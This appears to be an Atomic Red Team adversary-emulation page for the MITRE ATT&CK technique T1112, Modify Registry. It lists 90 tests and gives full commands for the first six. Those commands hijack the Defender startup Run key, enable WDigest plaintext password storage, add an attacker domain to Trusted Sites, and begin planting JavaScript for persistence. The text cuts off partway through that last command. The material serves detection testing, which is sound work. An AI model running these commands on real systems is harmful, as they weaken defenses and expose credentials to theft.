# T1112 - Modify Registry ## Description from ATT&CK > Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution. > > Access to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API. > > The Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to [Impair Defenses](https://attack.mitre.org/techniques/T1562), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019) > > The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication. > > Finally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017) [Source](https://attack.mitre.org/techniques/T1112) ## Atomic Tests - [Atomic Test #1: Modify Registry of Current User Profile - cmd](#atomic-test-1-modify-registry-of-current-user-profile---cmd) - [Atomic Test #2: Modify Registry of Local Machine - cmd](#atomic-test-2-modify-registry-of-local-machine---cmd) - [Atomic Test #3: Modify registry to store logon credentials](#atomic-test-3-modify-registry-to-store-logon-credentials) - [Atomic Test #4: Use Powershell to Modify registry to store logon credentials](#atomic-test-4-use-powershell-to-modify-registry-to-store-logon-credentials) - [Atomic Test #5: Add domain to Trusted sites Zone](#atomic-test-5-add-domain-to-trusted-sites-zone) - [Atomic Test #6: Javascript in registry](#atomic-test-6-javascript-in-registry) - [Atomic Test #7: Change Powershell Execution Policy to Bypass](#atomic-test-7-change-powershell-execution-policy-to-bypass) - [Atomic Test #8: BlackByte Ransomware Registry Changes - CMD](#atomic-test-8-blackbyte-ransomware-registry-changes---cmd) - [Atomic Test #9: BlackByte Ransomware Registry Changes - Powershell](#atomic-test-9-blackbyte-ransomware-registry-changes---powershell) - [Atomic Test #10: Disable Windows Registry Tool](#atomic-test-10-disable-windows-registry-tool) - [Atomic Test #11: Disable Windows CMD application](#atomic-test-11-disable-windows-cmd-application) - [Atomic Test #12: Disable Windows Task Manager application](#atomic-test-12-disable-windows-task-manager-application) - [Atomic Test #13: Disable Windows Notification Center](#atomic-test-13-disable-windows-notification-center) - [Atomic Test #14: Disable Windows Shutdown Button](#atomic-test-14-disable-windows-shutdown-button) - [Atomic Test #15: Disable Windows LogOff Button](#atomic-test-15-disable-windows-logoff-button) - [Atomic Test #16: Disable Windows Change Password Feature](#atomic-test-16-disable-windows-change-password-feature) - [Atomic Test #17: Disable Windows Lock Workstation Feature](#atomic-test-17-disable-windows-lock-workstation-feature) - [Atomic Test #18: Activate Windows NoDesktop Group Policy Feature](#atomic-test-18-activate-windows-nodesktop-group-policy-feature) - [Atomic Test #19: Activate Windows NoRun Group Policy Feature](#atomic-test-19-activate-windows-norun-group-policy-feature) - [Atomic Test #20: Activate Windows NoFind Group Policy Feature](#atomic-test-20-activate-windows-nofind-group-policy-feature) - [Atomic Test #21: Activate Windows NoControlPanel Group Policy Feature](#atomic-test-21-activate-windows-nocontrolpanel-group-policy-feature) - [Atomic Test #22: Activate Windows NoFileMenu Group Policy Feature](#atomic-test-22-activate-windows-nofilemenu-group-policy-feature) - [Atomic Test #23: Activate Windows NoClose Group Policy Feature](#atomic-test-23-activate-windows-noclose-group-policy-feature) - [Atomic Test #24: Activate Windows NoSetTaskbar Group Policy Feature](#atomic-test-24-activate-windows-nosettaskbar-group-policy-feature) - [Atomic Test #25: Activate Windows NoTrayContextMenu Group Policy Feature](#atomic-test-25-activate-windows-notraycontextmenu-group-policy-feature) - [Atomic Test #26: Activate Windows NoPropertiesMyDocuments Group Policy Feature](#atomic-test-26-activate-windows-nopropertiesmydocuments-group-policy-feature) - [Atomic Test #27: Hide Windows Clock Group Policy Feature](#atomic-test-27-hide-windows-clock-group-policy-feature) - [Atomic Test #28: Windows HideSCAHealth Group Policy Feature](#atomic-test-28-windows-hidescahealth-group-policy-feature) - [Atomic Test #29: Windows HideSCANetwork Group Policy Feature](#atomic-test-29-windows-hidescanetwork-group-policy-feature) - [Atomic Test #30: Windows HideSCAPower Group Policy Feature](#atomic-test-30-windows-hidescapower-group-policy-feature) - [Atomic Test #31: Windows HideSCAVolume Group Policy Feature](#atomic-test-31-windows-hidescavolume-group-policy-feature) - [Atomic Test #32: Windows Modify Show Compress Color And Info Tip Registry](#atomic-test-32-windows-modify-show-compress-color-and-info-tip-registry) - [Atomic Test #33: Windows Powershell Logging Disabled](#atomic-test-33-windows-powershell-logging-disabled) - [Atomic Test #34: Windows Add Registry Value to Load Service in Safe Mode without Network](#atomic-test-34-windows-add-registry-value-to-load-service-in-safe-mode-without-network) - [Atomic Test #35: Windows Add Registry Value to Load Service in Safe Mode with Network](#atomic-test-35-windows-add-registry-value-to-load-service-in-safe-mode-with-network) - [Atomic Test #36: Disable Windows Toast Notifications](#atomic-test-36-disable-windows-toast-notifications) - [Atomic Test #37: Disable Windows Security Center Notifications](#atomic-test-37-disable-windows-security-center-notifications) - [Atomic Test #38: Suppress Win Defender Notifications](#atomic-test-38-suppress-win-defender-notifications) - [Atomic Test #39: Allow RDP Remote Assistance Feature](#atomic-test-39-allow-rdp-remote-assistance-feature) - [Atomic Test #40: NetWire RAT Registry Key Creation](#atomic-test-40-netwire-rat-registry-key-creation) - [Atomic Test #41: Ursnif Malware Registry Key Creation](#atomic-test-41-ursnif-malware-registry-key-creation) - [Atomic Test #42: Terminal Server Client Connection History Cleared](#atomic-test-42-terminal-server-client-connection-history-cleared) - [Atomic Test #43: Disable Windows Error Reporting Settings](#atomic-test-43-disable-windows-error-reporting-settings) - [Atomic Test #44: DisallowRun Execution Of Certain Applications](#atomic-test-44-disallowrun-execution-of-certain-applications) - [Atomic Test #45: Enabling Restricted Admin Mode via Command_Prompt](#atomic-test-45-enabling-restricted-admin-mode-via-command_prompt) - [Atomic Test #46: Mimic Ransomware - Enable Multiple User Sessions](#atomic-test-46-mimic-ransomware---enable-multiple-user-sessions) - [Atomic Test #47: Mimic Ransomware - Allow Multiple RDP Sessions per User](#atomic-test-47-mimic-ransomware---allow-multiple-rdp-sessions-per-user) - [Atomic Test #48: Event Viewer Registry Modification - Redirection URL](#atomic-test-48-event-viewer-registry-modification---redirection-url) - [Atomic Test #49: Event Viewer Registry Modification - Redirection Program](#atomic-test-49-event-viewer-registry-modification---redirection-program) - [Atomic Test #50: Enabling Remote Desktop Protocol via Remote Registry](#atomic-test-50-enabling-remote-desktop-protocol-via-remote-registry) - [Atomic Test #51: Disable Win Defender Notification](#atomic-test-51-disable-win-defender-notification) - [Atomic Test #52: Disable Windows OS Auto Update](#atomic-test-52-disable-windows-os-auto-update) - [Atomic Test #53: Disable Windows Auto Reboot for current logon user](#atomic-test-53-disable-windows-auto-reboot-for-current-logon-user) - [Atomic Test #54: Windows Auto Update Option to Notify before download](#atomic-test-54-windows-auto-update-option-to-notify-before-download) - [Atomic Test #55: Do Not Connect To Win Update](#atomic-test-55-do-not-connect-to-win-update) - [Atomic Test #56: Tamper Win Defender Protection](#atomic-test-56-tamper-win-defender-protection) - [Atomic Test #57: Snake Malware Registry Blob](#atomic-test-57-snake-malware-registry-blob) - [Atomic Test #58: Allow Simultaneous Download Registry](#atomic-test-58-allow-simultaneous-download-registry) - [Atomic Test #59: Modify Internet Zone Protocol Defaults in Current User Registry - cmd](#atomic-test-59-modify-internet-zone-protocol-defaults-in-current-user-registry---cmd) - [Atomic Test #60: Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell](#atomic-test-60-modify-internet-zone-protocol-defaults-in-current-user-registry---powershell) - [Atomic Test #61: Activities To Disable Secondary Authentication Detected By Modified Registry Value.](#atomic-test-61-activities-to-disable-secondary-authentication-detected-by-modified-registry-value) - [Atomic Test #62: Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication Detected By Modified Registry Value.](#atomic-test-62-activities-to-disable-microsoft-fido-aka-fast-identity-online-authentication-detected-by-modified-registry-value) - [Atomic Test #63: Scarab Ransomware Defense Evasion Activities](#atomic-test-63-scarab-ransomware-defense-evasion-activities) - [Atomic Test #64: Disable Remote Desktop Anti-Alias Setting Through Registry](#atomic-test-64-disable-remote-desktop-anti-alias-setting-through-registry) - [Atomic Test #65: Disable Remote Desktop Security Settings Through Registry](#atomic-test-65-disable-remote-desktop-security-settings-through-registry) - [Atomic Test #66: Disabling ShowUI Settings of Windows Error Reporting (WER)](#atomic-test-66-disabling-showui-settings-of-windows-error-reporting-wer) - [Atomic Test #67: Enable Proxy Settings](#atomic-test-67-enable-proxy-settings) - [Atomic Test #68: Set-Up Proxy Server](#atomic-test-68-set-up-proxy-server) - [Atomic Test #69: RDP Authentication Level Override](#atomic-test-69-rdp-authentication-level-override) - [Atomic Test #70: Enable RDP via Registry (fDenyTSConnections)](#atomic-test-70-enable-rdp-via-registry-fdenytsconnections) - [Atomic Test #71: Disable Windows Prefetch Through Registry](#atomic-test-71-disable-windows-prefetch-through-registry) - [Atomic Test #72: Setting Shadow key in Registry for RDP Shadowing](#atomic-test-72-setting-shadow-key-in-registry-for-rdp-shadowing) - [Atomic Test #73: Flush Shimcache](#atomic-test-73-flush-shimcache) - [Atomic Test #74: Disable Windows Remote Desktop Protocol](#atomic-test-74-disable-windows-remote-desktop-protocol) - [Atomic Test #75: Enforce Smart Card Authentication Through Registry](#atomic-test-75-enforce-smart-card-authentication-through-registry) - [Atomic Test #76: Requires the BitLocker PIN for Pre-boot authentication](#atomic-test-76-requires-the-bitlocker-pin-for-pre-boot-authentication) - [Atomic Test #77: Modify EnableBDEWithNoTPM Registry entry](#atomic-test-77-modify-enablebdewithnotpm-registry-entry) - [Atomic Test #78: Modify UseTPM Registry entry](#atomic-test-78-modify-usetpm-registry-entry) - [Atomic Test #79: Modify UseTPMPIN Registry entry](#atomic-test-79-modify-usetpmpin-registry-entry) - [Atomic Test #80: Modify UseTPMKey Registry entry](#atomic-test-80-modify-usetpmkey-registry-entry) - [Atomic Test #81: Modify UseTPMKeyPIN Registry entry](#atomic-test-81-modify-usetpmkeypin-registry-entry) - [Atomic Test #82: Modify EnableNonTPM Registry entry](#atomic-test-82-modify-enablenontpm-registry-entry) - [Atomic Test #83: Modify UsePartialEncryptionKey Registry entry](#atomic-test-83-modify-usepartialencryptionkey-registry-entry) - [Atomic Test #84: Modify UsePIN Registry entry](#atomic-test-84-modify-usepin-registry-entry) - [Atomic Test #85: Abusing Windows TelemetryController Registry Key for Persistence](#atomic-test-85-abusing-windows-telemetrycontroller-registry-key-for-persistence) - [Atomic Test #86: Modify RDP-Tcp Initial Program Registry Entry](#atomic-test-86-modify-rdp-tcp-initial-program-registry-entry) - [Atomic Test #87: Abusing MyComputer Disk Cleanup Path for Persistence](#atomic-test-87-abusing-mycomputer-disk-cleanup-path-for-persistence) - [Atomic Test #88: Abusing MyComputer Disk Fragmentation Path for Persistence](#atomic-test-88-abusing-mycomputer-disk-fragmentation-path-for-persistence) - [Atomic Test #89: Abusing MyComputer Disk Backup Path for Persistence](#atomic-test-89-abusing-mycomputer-disk-backup-path-for-persistence) - [Atomic Test #90: Adding custom paths for application execution](#atomic-test-90-adding-custom-paths-for-application-execution) ### Atomic Test #1: Modify Registry of Current User Profile - cmd Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced. **Supported Platforms:** Windows **auto_generated_guid:** `1324796b-d0f6-455a-b4ae-21ffee6aa6b9` #### Attack Commands: Run with `command_prompt`! ```cmd reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f ``` #### Cleanup Commands ```cmd reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1 ``` ### Atomic Test #2: Modify Registry of Local Machine - cmd Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. **Supported Platforms:** Windows **auto_generated_guid:** `282f929a-6bc5-42b8-bd93-960c3ba35afe` #### Inputs | Name | Description | Type | Default Value | |------|-------------|------|---------------| | new_executable | New executable to run on startup instead of Windows Defender | string | calc.exe| #### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin) ```cmd reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f ``` #### Cleanup Commands ```cmd reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1 ``` ### Atomic Test #3: Modify registry to store logon credentials Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. **Supported Platforms:** Windows **auto_generated_guid:** `c0413fb5-33e2-40b7-9b6f-60b29f4a7a18` #### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin) ```cmd reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ``` #### Cleanup Commands ```cmd reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1 ``` ### Atomic Test #4: Use Powershell to Modify registry to store logon credentials Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. **Supported Platforms:** Windows **auto_generated_guid:** `68254a85-aa42-4312-a695-38b7276307f8` #### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin) ```powershell Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore ``` #### Cleanup Commands ```powershell Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '0' -ErrorAction Ignore ``` ### Atomic Test #5: Add domain to Trusted sites Zone Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365. Upon execution, details of the new registry entries will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\. https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf **Supported Platforms:** Windows **auto_generated_guid:** `cf447677-5a4e-4937-a82c-e47d254afd57` #### Inputs | Name | Description | Type | Default Value | |------|-------------|------|---------------| | bad_domain | Domain to add to trusted site zone | string | bad-domain.com| #### Attack Commands: Run with `powershell`! ```powershell $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" $name ="bad-subdomain" new-item $key -Name $name -Force new-itemproperty $key$name -Name https -Value 2 -Type DWORD; new-itemproperty $key$name -Name http -Value 2 -Type DWORD; new-itemproperty $key$name -Name * -Value 2 -Type DWORD; ``` #### Cleanup Commands ```powershell $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" Remove-item $key -Recurse -ErrorAction Ignore ``` ### Atomic Test #6: Javascript in registry Upon execution, a javascript block will be placed in the registry for persistence. Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings. **Supported Platforms:** Windows **auto_generated_guid:** `15f44ea9-4571-4837-be9e-802431a7bfae` #### Attack Commands: Run with `powershell`! ```powershell New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "